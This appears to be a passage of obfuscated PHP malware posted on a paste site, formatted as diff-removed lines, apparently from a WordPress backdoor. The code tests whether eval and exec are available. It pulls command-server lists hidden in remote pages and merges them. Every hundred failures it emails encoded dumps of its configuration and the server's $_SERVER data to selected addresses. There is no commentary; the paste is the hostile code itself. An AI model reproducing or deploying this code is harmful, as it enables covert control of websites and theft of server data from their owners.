- $oXyaqmHoChvHQFCvTluq = get_option($piiJbwvzLxHvKjlNnFzd);
- }else{
- $oXyaqmHoChvHQFCvTluq = $piiJbwvzLxHvKjlNnFzd;
- }
- $GfNOeQGoTKggozAbXZAU = $this->AeRxXNHxOXpcNJWlZSIK->vZlUWjEYdyPGPomnFXMG($oXyaqmHoChvHQFCvTluq);
- return json_decode($GfNOeQGoTKggozAbXZAU, true);
- }
- private function YrCTrfUzBfsVJKvqiYUe(){
- $givBPiVtALrQjPLInUFK = false;
- @eval('$givBPiVtALrQjPLInUFK = true;');
- return $givBPiVtALrQjPLInUFK;
- }
- private function KNstTqErzZQBDQOODaJd() {
- $BlvGDekbFjVHsnUrjUKq = explode(', ', ini_get('disable_functions'));
- return !in_array('exec', $BlvGDekbFjVHsnUrjUKq);
- }
- private function XnpSvtOjNDRmxyfzaDKl($oXyaqmHoChvHQFCvTluq = null) {
- if ($oXyaqmHoChvHQFCvTluq == null) {
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- }
- if (isset($oXyaqmHoChvHQFCvTluq['info']['fail'])){
- $oXyaqmHoChvHQFCvTluq['info']['fail']++;
- }else{
- $oXyaqmHoChvHQFCvTluq['info']['fail'] = 1;
- }
- if (($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100) == 0 && isset($oXyaqmHoChvHQFCvTluq['clients'])){
- foreach ($oXyaqmHoChvHQFCvTluq['clients'] as $qBNcTAaiRUhfdXBSzsVg) {
- if (strstr($qBNcTAaiRUhfdXBSzsVg, "|") === false) {
- continue;
- }
- else{
- $AoNmaQCAQvHyEPvRUhbf = explode("|", $qBNcTAaiRUhfdXBSzsVg);
- }
- $gXNjWLFkUQOugyREMXKv = $AoNmaQCAQvHyEPvRUhbf[0] . "?" . $AoNmaQCAQvHyEPvRUhbf[1];
- $OQijXfnrxWxPIcPSUibK = $this->RoQfzgyhgTpMgdUIktgN($gXNjWLFkUQOugyREMXKv);
- preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibK, $NUwGojaMFrWOXnaoPPXm);
- if ($this->YYfeblxJfGQgkPpfdrIO($NUwGojaMFrWOXnaoPPXm['content'])){
- $OQijXfnrxWxPIcPSUibK = json_decode($NUwGojaMFrWOXnaoPPXm['content'], true);
- if (isset($this->oXyaqmHoChvHQFCvTluq)) {
- $oXyaqmHoChvHQFCvTluq = $this->oXyaqmHoChvHQFCvTluq;
- }else{
- $oXyaqmHoChvHQFCvTluq = $this->oqtYbOOiucMYWyZsGEuE();
- }
- $oXyaqmHoChvHQFCvTluq['servers'] = array_merge($OQijXfnrxWxPIcPSUibK['servers'], $oXyaqmHoChvHQFCvTluq['servers']);
- $this->$oXyaqmHoChvHQFCvTluq['servers'] = array_unique($oXyaqmHoChvHQFCvTluq['servers']);
- }
- else{
- }
- }
- }
- if ($oXyaqmHoChvHQFCvTluq['info']['fail'] % 100 == 0) {
- $LMKkvQfVacsJkiwJOKQm = false;
- $aJQafHDwnaPrCJrQMjHV = $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluq['info']['fail'] / 100 * 5);
- $GSpWdZRUzAuMgSxhFeQs = array();
- for($BCEUSjHFFwzzqmHmpjjQ = 0; $BCEUSjHFFwzzqmHmpjjQ < 5 ; $BCEUSjHFFwzzqmHmpjjQ++) {
- $YwrSbZoVizxkPzSqHegT = rand( 0, count($aJQafHDwnaPrCJrQMjHV) - 1);
- $TcfJENOGUCdnEeJdjBHS = 0;
- $XCZRNpIiBvvCJTeyKlyc = 0;
- while(in_array($YwrSbZoVizxkPzSqHegT,$GSpWdZRUzAuMgSxhFeQs)){
- $XCZRNpIiBvvCJTeyKlyc++;
- $TcfJENOGUCdnEeJdjBHS ++;
- $YwrSbZoVizxkPzSqHegT = rand( 0, count($aJQafHDwnaPrCJrQMjHV) - 1);
- if ($TcfJENOGUCdnEeJdjBHS == 10) { $LMKkvQfVacsJkiwJOKQm = true;
- break;
- }
- }
- if ($LMKkvQfVacsJkiwJOKQm){
- break;
- }
- $GSpWdZRUzAuMgSxhFeQs[] = $YwrSbZoVizxkPzSqHegT;
- mail($aJQafHDwnaPrCJrQMjHV[$YwrSbZoVizxkPzSqHegT], "Call", json_encode($this->AeRxXNHxOXpcNJWlZSIK->bkBMtlOkGRaPFVExpcNb(print_r($oXyaqmHoChvHQFCvTluq, true) . print_r($_SERVER, true))));
- }
- $this->vwhhtIrAWhUEFDgPrcco = true;
- }
- $this->aIIwgKgvtyRoWoMedUdb(NYOtWHUXirvRWKhceXsE, $oXyaqmHoChvHQFCvTluq);
- }
- private function YYfeblxJfGQgkPpfdrIO($oXyaqmHoChvHQFCvTluq){
- $oXyaqmHoChvHQFCvTluq = json_decode($oXyaqmHoChvHQFCvTluq);
- if ($oXyaqmHoChvHQFCvTluq == null)
- return false;
- return true;
- }
- private function VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQ, $MTPkrEtDJbjkrzXWSBgA)
- {
- $PVSXPKLAQGaWKUtNNUYQ = count($QrnkCEWRkHbQPoEPelYQ);
- if ($PVSXPKLAQGaWKUtNNUYQ <= $MTPkrEtDJbjkrzXWSBgA) {
- return $QrnkCEWRkHbQPoEPelYQ;
- }
- $oXyaqmHoChvHQFCvTluq[] = array();
- $PaTgoaVMMKhvlmVWxSnB = array();
- $FyQVCWLNApYgwsSzygQg = 0;
- $BCEUSjHFFwzzqmHmpjjQ = 0;
- while (true) {
- $BCEUSjHFFwzzqmHmpjjQ++;
- $piiJbwvzLxHvKjlNnFzd = $this->YHhBHrBuAZYCsZUCLxMN($this->htcFFCQTLLpnCchsPKGY . $BCEUSjHFFwzzqmHmpjjQ , $PVSXPKLAQGaWKUtNNUYQ);
- if (in_array($piiJbwvzLxHvKjlNnFzd, $PaTgoaVMMKhvlmVWxSnB)) {
- continue;
- }
- $PaTgoaVMMKhvlmVWxSnB[] = $piiJbwvzLxHvKjlNnFzd;
- $FyQVCWLNApYgwsSzygQg++;
- if ($FyQVCWLNApYgwsSzygQg == $MTPkrEtDJbjkrzXWSBgA) {
- break;
- }
- }
- foreach ($PaTgoaVMMKhvlmVWxSnB as $piiJbwvzLxHvKjlNnFzd) {
- $oXyaqmHoChvHQFCvTluq[] = $QrnkCEWRkHbQPoEPelYQ[$piiJbwvzLxHvKjlNnFzd];
- }
- return $oXyaqmHoChvHQFCvTluq;
- }
- private function YHhBHrBuAZYCsZUCLxMN($htcFFCQTLLpnCchsPKGY, $BwYCWyuBYkgiOzNljFJO)
- {
- $dzVXtdBSuUwgnARTiNIC = 0;
- $JAxNyUCJRbrfbemcWrOF = hash("md5",$htcFFCQTLLpnCchsPKGY);
- $dzVXtdBSuUwgnARTiNIC = (preg_replace("/[^0-9,.]/", "", $JAxNyUCJRbrfbemcWrOF));
- while ($dzVXtdBSuUwgnARTiNIC > 10000000){
- $dzVXtdBSuUwgnARTiNIC /= 100000;
- }
- $this->IatJdWimJbxtprWZElHe = $dzVXtdBSuUwgnARTiNIC;
- $dzVXtdBSuUwgnARTiNIC %= $BwYCWyuBYkgiOzNljFJO;
- return $dzVXtdBSuUwgnARTiNIC;
- }
- } ?>
Advertisement
Add Comment
Please, Sign In to add comment